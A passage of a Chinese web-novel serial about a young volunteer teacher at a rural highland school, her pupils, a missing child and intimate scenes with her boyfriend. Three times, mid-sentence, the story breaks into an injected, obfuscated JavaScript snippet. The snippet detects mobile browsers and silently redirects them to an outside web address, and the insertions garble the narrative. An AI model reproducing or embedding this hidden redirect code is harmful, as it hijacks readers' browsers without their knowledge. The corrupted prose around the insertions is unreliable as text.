校长明白姜至过来是什么意思,拉了把凳子坐到对面,说:“周老师来了三年,从一年级开始就带他们语文课,不像其他科目的老师带一段时间就走了,她坚持的时间很长,所以孩子们跟她最熟,现在猛地换新老师肯定会不适应,不要着急啊姜老师,他们也会慢慢对你熟悉的。” “我明白的。”姜至想起上个月送周老师他们离开的场景,学生恋恋不舍的姿态来回在她脑子里面打转。 “其实要不是缺人,我们也不会安排支教老师带学科课,尤其学校里都是小学生,一上就得上六年。换老师对孩子们影响不小,他们年纪不大,心智还不算特别成熟,可能接受不了太突然的事情。” 说完,校长还想再劝劝她,但见她脸上没有什么遭受打击的不开心,看上去倒是挺平静,而且她从大城市来,又是高学历,人也时髦漂亮,身上随随便便一件行头就抵得过学生半学期饭钱,实在不像能在这里长待的,也就作罢了。 姜至点点头,保存了视频带着满肚子心事回宿舍研究。 然而四天过去,情况还是那么个情况,课堂氛围不温不火,学生们倒是听话,办公室里其他老师说:“那还不好吗!多省心呀,我教英语他们都不学的,整天问我一堆乱七八糟的东西,我感觉我上课都快变成十万个为什么了,根本讲不了什么东西。” 焦雨彤说:“我班学生倒是不会这样,都很听话,可能是我比较严肃吧,而且说实在的,咱们在这儿支教也待不了多长时间,能按计划讲完课就行了。” 姜至也问自己,学生听话不是很好吗?至少她的课程安排在顺利进行着,但她心里却不舒服,老是觉得少了什么。 到周五晚上放学,老师们要回县里的公租房,姜至没跟他们走,李惟钧早早就到了门口,正抱着一束鲜花等她。 姜至跑过去把他扑了个满怀,他上半身朝后仰了仰,笑着在她耳边喊了声“小姜老师”,姜至的脸随之一燥,李惟钧快步抱她回车上。 花束被随手搁置在副驾驶,黑暗中,滚烫杂乱的呼吸交织着。 五天没见了,李惟钧的吻十分急切,宽阔的身体朝她压过来,几乎把她整个人覆在怀里,细细密密的嘬吻声萦绕在狭小密闭的空间,所有情欲被这声音无限放大,心跳也跟着放大,姜至剧烈呼吸着,贴近熟悉的怀抱,闻到熟悉的香气,浑身都松软下来,拉过他的手放在自己腰上,李惟钧顺着她的腰线,一寸寸来回摩挲,她整片背脊酥酥麻麻的,喘息的间隙轻轻哼了声。 灼热的鼻息沿着她的脖颈厮磨,姜至感觉胸口一热,李惟钧却没再往下,在她锁骨上亲了下,又抬起头含住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269600|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴唇,姜至渐渐喘不上气了,舌尖被他来回吮吸着,掌心下的肌肉也变得硬邦邦,她意识到不能再这样吻下去,捉住李惟钧流连在身上的手,迷蒙间却看见他动情的视线,刚刚浮起的念头又轰然消散,咬住他的嘴唇。 李惟钧也显然意识到该停了,捏着她的后颈,退开。 “开车走吧,别在校门口了。”姜至小口喘息着,贴在他肩上说。 李惟钧用指腹拭去她唇上的水光,下了车,绕到驾驶座,姜至从后座爬到副驾驶,拿起鲜花在手上拨弄几番,刚才他扔的太着急,花束都乱了。 打开手机拍了张照片,本想发条朋友圈,按下发送键之前却停了。 第一周的支教生活并不值得纪念。 “怎么了?”李惟钧揉揉她的脸。 脸颊上的肉被捏出来,姜至把脑袋放在他手心里,不知道该怎么说。 李惟钧把她的脑袋摆正,在嘟起的嘴巴上亲了下,说:“课上的不对劲了?” “我感觉我的学生都不喜欢我……”姜至满脸写着苦恼,“教小学生怎么会这么难呢。” “万事开头难,你是新老师啊,”李惟钧又想抱她了,手痒,牵过她的手揉弄指尖,“以后他们就知道了,小姜老师是个很好很好的老师,没人会不喜欢小姜老师。” 姜至被逗乐,“嘁,你怎么知道?你又没上过我的课。” “怎么没上过?高中你在咱们班讲过那么多公开课,教过那么多东西呢,忘了?” “公开课我记得,其他东西是什么?”姜至想半天想不起来,“我还教过什么?” 李惟钧说:“高二班歌比赛,你教我们比手语。” 那次班歌比赛班主任抽签抽中了《国家》,让班干部负责带头排练,不仅要唱,还得加上手语动作。 当时刚分完文理,大家互相都不熟悉,而且都不太理解为什么非得加手语,麻烦又浪费时间,每次练歌时声音稀稀拉拉,一点劲头也没有,就连班干部之间也没默契,不太上心。 但姜至是个挺有责任心的女生,强烈的道德感让她做不出当甩手掌柜的事,于是先用那张巧嘴把班干部变成了自己阵营的人,一个晚自习就把手语动作学会了,还给每个班干部分了任务,让他们去教那些跟自己玩得好的同学,逐个击破,稀里糊涂之间,麻烦事就变得不那么麻烦了。 虽然最后还是没拿到好名次,但至少同学间的关系不再陌生了。 还有一次是和12班比数学成绩,12班每次数学成绩都比11班好,所以数学老师每次都只奖励12班看电影,对此,他们班向数学老师提出不服,没想到她使了招激将法,说:只要你们班月考平均分和数学优秀生全部超过12班,别说看一个电影了,看两个电影都行。 11班激情应战,但激情过后就是后悔。 中计了!每次都输,怎么可能下次就突然赢了呢。 唉声叹气过后,姜至说,不能丢人啊!人活一口气,不蒸馒头总得争口气吧! 然后就拉着课代表跟老师谈判,软磨硬泡,把两个条件磨成了一个,还找班主任把晚自习时间给数学多匀了匀,又抽时间开班会分组一对一帮扶差生。那段时间班里跟打了鸡血一样,路过的狗都得说一句好燃啊!姜至就是负责打鸡血的人,她也比任何人都燃,逮住一个程度不太好的同学就能随时随地开讲。 谁都没想到,最后还真赢了,11班真的打了场翻身仗,两天没上数学课,连看了两天电影。 李惟钧相信姜至可以把任何事情都做得很出色,她这姑娘最大的特点就是倔,爱较真,不服气,虽然别人都说这是缺点,但李惟钧并不这么认为,姜至的“缺点”恰恰是她最大的优点。 认真想办法解决问题的姜至最有魅力。 26.盛夏将至(5) 盛夏将至(5) 周一上午,姜至拿出几天没用的化妆品化了个淡妆,提上电脑和李惟钧带给她的摄像设备走进教室。 站上讲台,也没管学生是什么反应,先喜气盈盈地喊了句:“早上好啊。” 这两天终于琢磨明白了,她就是一个需要得到很多反馈的老师,相比于学生听话但课堂沉闷,她更喜欢让她的课堂生动起来。 班长次仁卓玛喊了句“起立”,其他人拖着长音齐声说:“老师好。” 姜至却没让他们坐下,微笑道:“这节课我们要学《花牛歌》,但我们今天不在教室上课。” 底下学生开始窃窃私语,姜至往窗外指了指,示意他们看,“正好有好几个牛先生来帮助我们理解这首诗。” 学校操场旁边的草场放了几头牛,是隔壁村牧民的。 姜至拍了拍手,“好了,现在拿上你们的课本去栅栏旁边吧。” 操场是新铺的足球场草坪和塑胶跑道,场地很宽阔,学生们往外一站就开始撒欢儿了,应该是因为这是他们第一次不在教室上课,所以兴奋又新奇,暂时忘记了跟她这个老师拘谨,嘻嘻哈哈的。 姜至走在最后,中途,有个叫叶西行毛的学生来帮她提东西,她记得这个男生,因为个头最高所以他一直在教室最后排坐着,平时班里的饮水机没水了都是他拖着推车去装水,下课的时候总是见他在操场上踢足球,很有活力的一个男孩。 四(1)班在栅栏前集合,对面就是牧民的牛,搞得这堂课像是在逛动物园。 翻开课本,姜至先让学生一起朗读课文:“花牛在草地里坐,压扁了一穗剪秋罗。” 她打断:“好,大家现在抬眼看看。” 这种上课方式让学生们很新鲜,哈哈大笑道:“牛真的坐下了!” 姜至指着草场上那些不知名的花,“牛压着的是什么花?应该不是剪秋罗吧,好漂亮。” “老师,那是金盏花和金莲花!” 姜至微微一笑,“接着读吧。” “花牛在草地里眠,白云霸占了半个天。” 不用姜至喊停,学生们自动就把目光放在了牛身上,“老师,牛没有睡觉啊!” “没办法,现在是白天,牛睡不着。”姜至指了指天空,“但是云朵很白很漂亮。” 学生们纷纷仰头,不住地发出感叹,以后应该不用发愁写比喻句和排比句了。 姜至从包里掏出相机,咔嚓咔嚓拍了许多照片,在学生们疑惑地朝她看过来时,说:“来跟云朵拍个合照怎么样?” 大家似乎都没想到上语文课还能拍照片,愣了一瞬就炸开了锅,比着剪刀手往镜头前凑,姜至调了半天角度,又是劈叉又是蹲,换了很多拍照姿势才把所有人的脸露出来拍上。 “再接着往下读哦,花牛在草地里走,小尾巴甩得滴溜溜。”姜至的手在空中比划比划,说:“看!牛又开始走了!” 卓玛说:“尾巴没有甩!” 姜至很少见到这个文静腼腆的小班长如此活泼,叉着腰冲着牛喊了句:“喂!你把尾巴甩起来!” 然后牛就开始甩尾巴。 这招把学生哄得一愣一愣的,操场上传来此起彼伏的惊呼,大家扑上去围着姜至问她是怎么做到的,她故弄玄虚,“因为我会隔空指牛!厉害吧,这都是练过的。” 幸亏是一群小学生,姜至一边说瞎话一边在心里偷笑。 再往下,“花牛在草地里做梦,太阳偷渡了西山的群峰。” “牛没睡着,没做梦啊。” “老师,我们晚上可以再来看吗。” “……” 45分钟的课堂,姜至第一次体会到“真人版十万个为什么”是什么感觉,不过总得来说,这节课是她来支教这么多天上得最舒心的一节课。 学生们应该也是这样想的。 看着他们洋溢着笑容的脸,姜至把相机架到支架上,“我们要不要拍一张班级大合照!” 远处是青山,那座山似乎直通云霄,把西途湛蓝的天空高高撑起来,此刻天朗气清,惠风和畅,姜至蹲在碧绿的草坪上,手臂揽着罗珠和卓玛,所有学生比着“耶”围在她身边,他们一起拍下了在谷黎小学的一张大合照。 敲了下课铃,姜至给李惟钧发了一个【OK】,李惟钧回过来:【下课了?】 姜至偷摸给他回了句:【辛苦啦牛师傅[抱抱]】 李惟钧说:【隔空指牛?隔空指我吧。】 姜至:【亲亲^3^】 从草坪上站起身时,罗珠盯着她的裙摆说:“老师,你的衣服上沾了一只虫子。” 姜至最害怕虫子,噌的从地上弹起来跑了二丈远,满脸写着惊恐,顾及到自己是个老师,要在学生面前注意形象才没扯着嗓子喊出来,结果还是被学生笑话了。 罗珠也在抿着嘴笑,帮她把虫子拍走,小声说:“我不是故意笑你的,老师。” 姜至尴尬地问:“这是什么虫子呢?罗珠老师。” 罗珠的脸颊一下子红了,她同桌洛桑抢答:“这是草岭!” 姜至看着她期待的眼神,含笑道:“知道了,洛桑老师。” 她把目之所及的陌生动植物都问了一遍,但有些东西学生也不知道用汉语该怎么讲,七嘴八舌说着说着就开始用方言交流了。 “各位小老师们,我听不懂谷黎话哎。” 思及此,姜至忽然冒出一个念头,“要不你们下课的时候来教我说谷黎话吧,但是在这之前,要不要先帮我想一个谷黎名字?” 洛桑说:“我知道!老师你叫拉姆!” “这是什么意思呢?” “拉姆是仙女的意思。” 闻言,姜至还有点受宠若惊,一时没作出反应,罗珠非常同意这个名字,应和道:“老师很漂亮,皮肤白白的,身上也很香,就是像仙女一样。” 顿了顿,卓玛有些羞赧地说:“第一次见到你我们就觉得你像拉姆一样。” 叶西行毛提着她的电脑和支架在一旁补充:“而且上课特别温柔,比其他老师还要温柔!” 姜至更受宠若惊了,第一次见面是在课堂上,那时候她还以为他们不喜欢她。 照理说从小到大也没少听过夸,不过这些孩子的夸和那些夸带给她的感受不一样,这里的孩子很淳朴,心思干净又纯粹,没怎么见过外面的人和世界,这让她觉得这份夸赞太珍贵了,拉姆这个名字也很宝贵。 她低下头,轻笑着说:“那以后你们就可以叫我拉姆老师了。” * 那天上完课后,李惟钧快马加鞭把相机里的照片都洗了出来,班会课上姜至和学生们把教室里里外外装饰了一遍。 漂亮的教室让所有人都很有成就感,大家把墙上挂的照片和手工品看了一遍又一遍,上课的劲头都足了不少,对于姜至这个语文老师的“新奇感”也终于姗姗来迟。 她的工位一下课就围满了人,桌上还时不时会收到零食,办公室其他老师还调侃她的工位都快成谷黎小学知名景点了,每天门庭若市。 这种情况是校长希望看到的,不过他也担心,特意到办公室来找了姜至一趟,“对嘛,我就说学生们肯定喜欢你的姜老师,但还是得稍微注意一个度。新老师都希望自己能跟学生打成一片,当然这种想法是很好的,不过也不能太松散。” 姜至说:“我知道的,上课的时候我肯定会先把课讲好,课下的时候才会跟他们说说笑笑。” 校长点头,“现在你们正在经历一个磨合期,学生们还没有彻底摸透你的性格,该严肃一定要严肃,这些孩子跟老师熟起来之后特别会看人下菜碟,有的老师脾气好,所以课堂上说小话传纸条的情况特别多。” 这番话把姜至说愣了,看来她还是把事情想得过于简单了些,“现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295244|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在四年级学生上课就传纸条?” 校长笑了,“当然有的,现在的小学生跟以前的小学生不一样了,懂得多,心思也多,不好管。” 姜至记下了,“好的,我了解了。” 月底放假前学校有一次月考,现在小学课业压力也比以前重了很多,姜至记得她小学压根就没有月考这一说,而且谷黎要开始启用答题卡了,有的地方甚至更早。 这次月考是全县统考,要出成绩排名,校长反复叮嘱班主任要让学生按照答题要求做答,收发试卷时更要严格一点,不能提前答卷交卷,时间观念一定要培养起来。 会后,有老师吐槽:“才三四年级,整得跟高考一样。” “该说不说,一个小小的月考搞得有点麻烦了。” “也别这样说嘛,这也不是什么费力不讨好的事,至少机器阅卷保证公平。” 将来中高考和一些重要的国家性考试都得用答题卡做答,提前一点让学生尽快熟悉也好,老师们只能一遍一遍在班里强调,还把答题卡贴到了教室里让学生们每天看,第一次用答题卡考试,学生们都很新鲜,但尽管在老师们如此严谨的提醒之下,考试那天还是有学生出了错。 上午第一门考语文,校长从教育局要来了一份广播音频,让监考老师严格按照小升初的考试时间点发试卷和答题卡。 姜至发完站到讲台上,还没到答题时间,她往台下扫了一眼,就看到有个学生已经开始翻卷子动手做题了。 而且居然还是自己班的学生,四(1)班班长卓玛。 “没到时间不要做题。”她出声提醒。 但卓玛也不知道是没听到还是故意的,依然低着头。 姜至和另一位监考老师对视一眼,她走到卓玛身边,屈指敲了敲卓玛的桌子,正色道:“没到时间不能做题,方老师不是都跟你们说过了?” “姜老师……”卓玛看见姜至严肃的神情,慌了神,脸色涨红,满头大汗,吞吞吐吐不知道该说什么。 看她这副慌乱到快要哭出来的模样,姜至大概猜到是怎么回事了,但是该遵守的规则就要遵守,她再不忍心也得说:“提前答卷要记违纪的。”违纪就相当于白考,这科0分。 卓玛愣住了,绷着脸,紧紧扣着手心。 看着她眼眶里蓄着的泪,姜至的思绪也乱了,有些于心不忍。 卓玛成绩很好,在班里一直是第一名…… 考试铃响了,她害怕影响到卓玛后面的考试,狠心撇过头没再看她,只说:“好好答题。” …… 这周末要批卷子,老师们在办公室分完题目,准备一同回公租房,同行的焦雨彤说:“姜老师今天依然是男朋友来接?” 这个语气忽然让姜至有点不舒服,她从没在学校里跟人谈起过李惟钧,不太想多说这个话题,“对,你们先走吧。” 李惟钧要开会,得来晚一点,姜至独自坐在门岗里批卷子等他。 她拿到了作文题,看了没几份就头晕眼花,这些汉字写得实在是太歪歪扭扭了,得连蒙带猜才能读懂。 费尽力气读完一篇,打了分,前方有人按了按喇叭,她一抬头,是李惟钧。 姜至笑起来,跟门岗师傅道了个别,上车正要走,又听见门岗叫她:“姜老师,学生都走了吗?” 门岗来了个老妇人,身子略微有些佝偻,头发花白,面色焦急,姜至走过去问:“怎么了?学生都已经回家了。” 老妇人喘着粗气说:“我孙女还没回家呢,天都黑了,以前这个时间她早就走到家了。” “您别急,她是哪个班的?叫什么?” “老师,你帮帮忙啊,谢谢你,谢谢!”说着,老妇人一层层掀开随身带着的手绢,掏出纸条,上面用稚嫩的汉字写着:“次仁卓玛,四年级一班。” 姜至怔住了,心里咯噔一跳,脑子唰的空白了一片,嗡嗡地响。 27.盛夏将至(6) 盛夏将至(6) 月色沉沉,乡间小路静悄悄的,初秋的西途天空透亮,就连晚上也能看到很多星星,姜至一直觉得西途的星空最美,每到夜晚就像直接在头顶铺开一条银河,天空很低,似乎一伸手就能捞一捧星星,不过此时她没有心思观赏。 晚上八点了,距离卓玛失踪已经过去四个小时。校长,教务处主任,甚至在学校附近住的当地老师都被临时叫回学校沿着她所有可能回家的路去找人,但天色越来越黑,找人的困难也越来越大。 姜至对附近不熟,校长让她负责陪着卓玛的奶奶。李惟钧和她一起把老人送回家,老人一路上愁得直掉眼泪,姜至的方言还没学明白,听不太懂她说话,只能跟着一起偷偷掉眼泪。 “考完试我找校长商量了的,校长说可以看在这是第一次用答题卡的份上网开一面,我想着这也能给卓玛一个教训,希望她以后不要再不遵守考试规则了,万一真到了小升初或者中考高考的考场上,提前答卷就是0分……” 姜至喉咙发紧,抹了把泪,“我是不是对她太严格了?” 李惟钧用力抱住她,吻住她的眼角,没有出声。 和卓玛父亲通话的老人挂了电话,叹了两口气,闻声,姜至不敢再哭了,昏黄的灯影下老人的侧脸孤寂哀伤,姜至完全不知道该怎么开口。 老人朝桌上指了指,“老师,你自己喝水啊。” 回神,姜至无措地动动唇,李惟钧贴过来,在她身旁告诉她:“她的意思是让你喝水。” 姜至摇着头坐在她对面,“没事的,我不渴。” 看见她浑浊的眼睛,眼角还有抑制不住的泪光,又想到刚才校长说的卓玛是个留守儿童,爸爸妈妈很早就和人一起外出打工了,破旧的家里就剩一老一小,只有过年的时候父母才能回家来看她,姜至低下头,心酸一阵一阵涌上来,更想哭了,好像自从当了老师以后她比以前脆弱了不少。 这样坐以待毙干等着实在煎熬,姜至感觉自己一分一秒都坐不住,和李惟钧一起在卓玛家附近开始找人。 卓玛所在的村子有谷黎为数不多的良田,以种青稞和土豆为生,九月份正是收获青稞的季节,空气中弥漫着一股草茎的清香,很多地里还有没来得及拉走的青稞,成堆成堆在田野上垒成了一座座山,姜至打着手电筒,按照卓玛奶奶指的方向一座一座绕过去,10度的夜晚跑出一身汗。 “慢点至至,跑得太快容易缺氧,这边海拔太高。”李惟钧拽住她,手电筒照着脚下,“再往前应该就是种土豆的地方了,地里挖了很多坑,看脚下别摔着。” 姜至手心一直在冒冷汗,身体冰凉,也顾不上什么缺不缺氧了,“咱们分开找吧,这样效率还高点儿。” 李惟钧欲言又止,姜至又说:“我们开着位置共享,有事情随时联系好吗?不用担心我,孩子还没找到,我会很小心。” 快九点了,多拖一秒都很危险,李惟钧只能应声,重重捏了捏她的手掌,“好,我们保持联系。” 卓玛奶奶说过她身体不行,种不了太多地,所以只种了一亩青稞,剩下的都是土豆,卓玛父母还在土豆田旁边挖了一个小地窖,以前夏天,他们经常带卓玛去地窖里纳凉。 姜至找过了青稞地,没看见卓玛的身影,又转而哼哧哼哧往回走,土豆田就在卓玛奶奶家房子后面,马上都快要走到了,姜至也开始缺氧了,脑袋嗡嗡地疼。 她用手电筒往前晃了晃,大喊了几声卓玛的名字,还是没人应。 头晕的感觉愈发强烈,姜至弯腰撑着膝盖,大口大口喘了几口气,听筒里传来李惟钧担忧的声音,“至至,在原地休息一会儿,你的声音很不对劲。” 姜至一屁股坐在田埂上,有气无力地问:“怎么样?” “暂时还没看到人,我马上就走到村头了,待会儿回去找你汇合。”李惟钧叮嘱道:“不要太逞强。” 四周黑黢黢的,姜至望着远处零星的几户人家,那里有一束灯光是等待卓玛的,她咬着牙起身,大力喊了句:“卓玛!” 声音回荡在空旷的山谷间,就在姜至的声音渐低,准备放弃时,前面的草垛一下被掀起来,有个小人从远处的地平线冒出头,姜至终于听见了另一道稚嫩的回声,在此刻宛如天籁:“姜老师?” 卓玛提着自己的行李袋从地窖里爬出来,“姜老师!” 姜至的眼泪倏然冒出来,本能地朝她跑过去,冲李惟钧说:“我找到了!我找到卓玛了!” 却忘了这里是土豆田,地里被农民挖出了一道道放土豆的田垄,也完全忘了李惟钧的叮嘱,刚跑出没两步,右脚踩空,崴在了湿漉漉的地里,侧脸结结实实地和黄土地来了个亲密接触,摔了满身泥。 听筒和前面同时传来惊呼: “姜老师!” “姜至!” * 李惟钧把车开到了村口,所有老师们得到消息也都纷纷回了家,只剩姜至在跟卓玛说话。 崴脚那瞬间,钻心的疼痛让她的脸色惨白,卓玛被吓住了,没想到因为她一个人耽误了这么多人,一个劲儿掉眼泪道歉,哭得上气不接下气,断断续续说:“我真的不是故意的……只是因为这次考试没考好,害怕我奶奶跟我爸爸妈妈说,我害怕他们知道以后放弃我……害怕他们以后不回家……他们说过只有我考第一名以后才会带我去城里上学……所以我才偷偷跑到地窖里哭的,但时没想到哭累之后睡着了……我真的不是故意的,小姜老师。” 虚惊一场,姜至把她揽在怀里,好说歹说才把孩子哄好,目送着她和奶奶进了家门。 哄完学生,心里压了一个晚上的石头碎了,心情十分舒畅,她长长地吐了口气,随即,整个人便被李惟钧抱起来放在副驾驶,他扣着她的后脑勺吻了上来,抵着额头说:“哄完学生,也该有人来哄哄我们小姜老师了。” 李惟钧一路上都没怎么说话,把她接回盛夏将至后也没再开二楼的房间,直接抱着回到自己屋里,姜至晃着小腿:“不要往床上坐,我身上都是泥印!” “脏了再洗。”李惟钧把她抱到床上,看着她脏兮兮的狼狈模样,捧着她的脸颊心疼道:“辛苦了,小姜老师。” 姜至也捧住他的脸晃了晃,笑着说:“你这个家属也辛苦了,明天我们要出门玩哦,约好了要去跳伞的,我都准备好久了,脚已经没那么疼了,歇一晚上就能好。” “好,明天我带你去。” 李惟钧实在笑不出来,蹲下身,脱掉她沾满了泥的鞋,又要去脱被浸湿的袜子,姜至都来不及阻止,他就把她的脚放在自己膝盖上,小心翼翼握住她的脚掌。 冰凉的脚整个被他温热的大手捂住,他的力道不重,掌心也柔软,奇妙的触感让姜至心口一跳,慌张地蜷了蜷脚趾,却察觉到脚趾在他指腹摩挲滑动着,有种羞人钻心的痒蔓延在四肢百骸,又红着脸停了。 她嗓子很干,轻声说:“李惟钧,李惟钧……” 从来没有人这样碰过她的脚,连妈妈也没有,姜至下意识往后撤了撤。 李惟钧的手掌使了一分力,把她的脚禁锢住。 属于他的温度从脚上开始蔓延,直到身体也开始缓缓变热了,姜至的心跳愈发剧烈。 真是要疯了。 而李惟钧看上去倒是很淡然,似乎比她要心无旁骛,低下头,仔细看着她的脚腕,蹙眉说:“万幸没红肿起来,但是也得赶紧处理。” 姜至一动不敢动,脚好像都快要被他捂出汗了,“我要先洗澡。” 李惟钧抬眼,姜至很想捂住自己滚烫的脸颊,她躲闪着李惟钧的视线,低头看自己脚腕,“我脸上手上都沾了土,太脏了,很不舒服的,反正也没伤到骨头,洗完再处理也一样。” 李惟钧默了默,掌心里的脚这么小一只,万一再摔怎么办? “你自己能洗吗?” 姜至飞快瞟了他一眼,他到底知不知道他在说什么…… 看见她脸上的红晕,李惟钧愣了一下,呼吸也乱了,解释道:“我的意思是地上会滑,你一只脚不太方便。” 姜至嘟囔:“我不方便那你帮我洗吗?” 那句“可以吗”在脑海里盘旋了一秒,李惟钧轻咳了下,“我叫郑阿姨来帮你。” “哎,行了行了,还不至于。你搬把椅子到浴室就行。” 李惟钧点头,“我去把楼上收拾一下。” 姜至叫住他,“等等——” “怎么了?” 真是个笨蛋木头疙瘩,她咬着唇,纠结了几秒,“楼上没人住吗?” “没有。”他又蹲下身,“我先去换上你之前留在这儿的床上用品,收拾好你再上去。” “怪麻烦的,就在你房间吧。” 李惟钧看着她。 姜至拽住他的衣角,在手心抚弄着,眼巴巴瞧着他,“你不是说要哄我吗?” 洗完澡,脚腕的痛意又消散了一些,摔倒时她有意识地补救了一下,所以没到太严重的地步,完全可以一蹦一跳地走出浴室。 李惟钧换了身轻便的衣服,已经把床单换好了,姜至往床上扫了眼,弯弯唇。 嗬,床单铺的一丝不苟,连个褶皱也看不见,他那一个枕头旁边整整齐齐摆了另一个,单人被也换成了双人被。 “怎么不喊我一声?”李惟钧扶着她坐在床边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李惟钧垂下眼,她生得太好了,皮肤白皙,细嫩,青色的筋脉在皮肤下鼓起,顺着脚踝渐渐往上。 最近这段时间没来民宿住,她在这里的衣服都收拾走了,现在身上穿的是他的衣服,一件运动T恤,和配套的黑色拳击裤,笔直修长的腿在眼前晃着。 李惟钧想,他需要重新再洗个澡了。 冰袋根本无法缓解这股燥热感,手心还是出了汗,他轻缓着呼吸,抬起头,视线从她的脚踝慢慢划过那一截白皙的小腿,再到她的嘴唇,眼睛。 姜至赤裸的脚不动了,目光也从他的眼睛慢慢落在他的嘴唇上。 脚上箍着她的力道忽然紧了下,姜至的目光再度撞进李惟钧眼里,一秒,两秒,他倾身。 冰袋掉在地上,冰块发出几声淅淅簌簌的碰撞。 姜至的头发铺开在床上,剧烈地喘息着,“明,明天跳伞约的几点?” “想几点就几点,那是咱们的基地。”他的衣服在她身上格外肥大,倒在床上时,衣角向上掀了不少,他往下拽了拽,直到盖住肚皮,挡住那抹浑圆的,令他作乱的春光,哑声说:“我哄哄你。” 那种呼吸不过来的感觉又来了,姜至望着天花板,双眼迷离,李惟钧在她快要喘不过气那一瞬松开她,滚烫的吻落在她的脸颊,耳畔,脖颈,就这样一点点亲下去,细细密密的吻隔着他的T恤,落在她柔软的身体上。 姜至咬着手指,腿下意识曲起来,宽大的裤管顺着大腿滑落。 李惟钧的呼吸来到那里。 心里的躁动涌到脸上,姜至用手背挡住眼睛,不敢看了,在他身上很少有这种攻击欲,但尽管她此刻没有看他,却依然能莫名感觉到。 他没再动,姜至悄悄挪开手,睁眼,直直撞见李惟钧的身体伏在她腿上,掌心扣着她的腿窝。 她瞬间心悸,咽着唾沫,抖着声音:“不……不了吗?” 他深深看着她,问:“喜欢我这样哄你吗?” 腾的一下,姜至头顶都要冒烟了,他又说:“至至,喜欢就要说。” “喜欢的。”她拼命吞咽着口水,嗓子却依然那么涩。 姜至的腿被架在他的肩膀上,小腿肚贴着他烧红的耳朵,这终于让她找到了一丝安慰,看来李惟钧也并不是那么轻松从容啊,心如擂鼓的不止她一个,她坏心眼儿地用小腿在他耳朵上蹭了蹭,陡然间,从腿心传来的酥麻让她的脚趾蜷紧了。 “好扎……” 她的手下意识推搡,李惟钧没有躲开,偏头吻了吻她的指尖,“很扎吗?我头发有点短了。” 冰块融化了。 地上的冰渐渐化开一滩水,明明应该融化在地板上才对,然而,却“张冠李戴”融化在了姜至依然完好无损穿在身上的那条黑色拳击裤上。 李惟钧抬起头,唇边落着水光,“宝宝,换件衣服再睡?” 28.盛夏的寒冬 盛夏的寒冬 早上七点半,姜至闭着眼睛伸手往左边摸了摸,旁边的被窝已经凉了,她睁开眼,李惟钧不在房间,她的脏衣服已经被洗净烘干摆在床尾。 以及那条黑色的拳击裤和昨晚换下来的第二条床单。 姜至瞬间不困了,掀起被子盖住脑袋。 李惟钧一进屋就看见一条蚕宝宝在床上扭动,床尾的衣服,黑色拳击裤和床单被她踢到了床下。 “做梦踢我呢?”他把东西捡起来,单手把蚕揽到臂弯里,拨开被子,露出姜至乱糟糟的脑袋,“睡够了就出去吃早饭。” 或许是刚睡醒,姜至的身体依然像是躺在一片软绵绵的云彩上,不得不说,他哄人的手段太高超了。 她眨眨眼,“我才没有做梦踢你好吧。” “嗯,你没有,你昨晚睡之前就踢过我的脸。” 姜至捂住他的嘴,又想起昨晚那兵荒马乱的场景,羞愤无比:“我要换衣服了!” “现在就出发去基地跳伞?” “外面阳光不错,你觉得这会儿适合吗?” “应该没问题。”李惟钧松开她,起身,“你先收拾,我给基地打个电话,新的洗漱用品给你放在洗漱台上了。” “哎!外头有人吗?”她轻声说。 李惟钧笑了下,弯下腰,用同样的声调,“这会儿开始不好意思了?我说要给你在楼上开间房你不让。” 姜至仰躺在床上,蒙着脸,像昨晚一样踹了他一脚,只不过这次不是在脸上,而是在他腹肌上,闷声说:“李惟钧,你变了!” 李惟钧被赶出来,往基地打了通电话,飞跃是西途为数不多的直升机跳伞基地,七八月份来跳伞的人最多,九月份正好是淡季,基地这会儿没有约顾客,正好可以腾出一个上午带姜至跳伞。 到地方,李惟钧先带着姜至去了趟办公室,她特意让他在基地找了一套颜色比较鲜亮的新衣服,跳伞时录视频会很好看。 开直升机的人还没到,李惟钧把所有需要用到的装备拿上,又在基地里检查了一圈,正和教练商量什么时候闭店合适,听见前台有人喊:“维哥!” 李惟钧侧了侧头,瞧见一个人高马大,剃着寸头的男人进来,“今天休假?” 窦维“嗯”了声,大剌剌往沙发上一坐,懒散道:“你怎么有空来基地,公司不忙?咱俩待会儿正好吃个饭去啊。” 李惟钧想了想,“等我问问。” “就咱俩,还问谁啊?” 周围的人一个劲儿往他办公室瞥,李惟钧想起来部队平时不发手机,说:“姜至。” “姜至?”窦维蹙着眉嘟囔了句,“怎么这么熟悉呢?” 隔了几秒,他瞠目结舌,“咱们高中同学啊?眼睛特大那女生?她来西途了?” 李惟钧不紧不慢道:“姜至现在是我女朋友。” 窦维愣住,这个消息劈头盖脸朝他一砸,成功把他砸懵了。这俩人,八竿子打不着吧,就连他跟李惟钧也是因为高三参加招飞才熟悉起来的,当了那么久同桌都没说过几句话。 窦维坐在沙发上琢磨半天才琢磨明白“女朋友”这仨字什么意思,“啊?是正式的女朋友吗?” 李惟钧瞟了他一眼,没再说话。 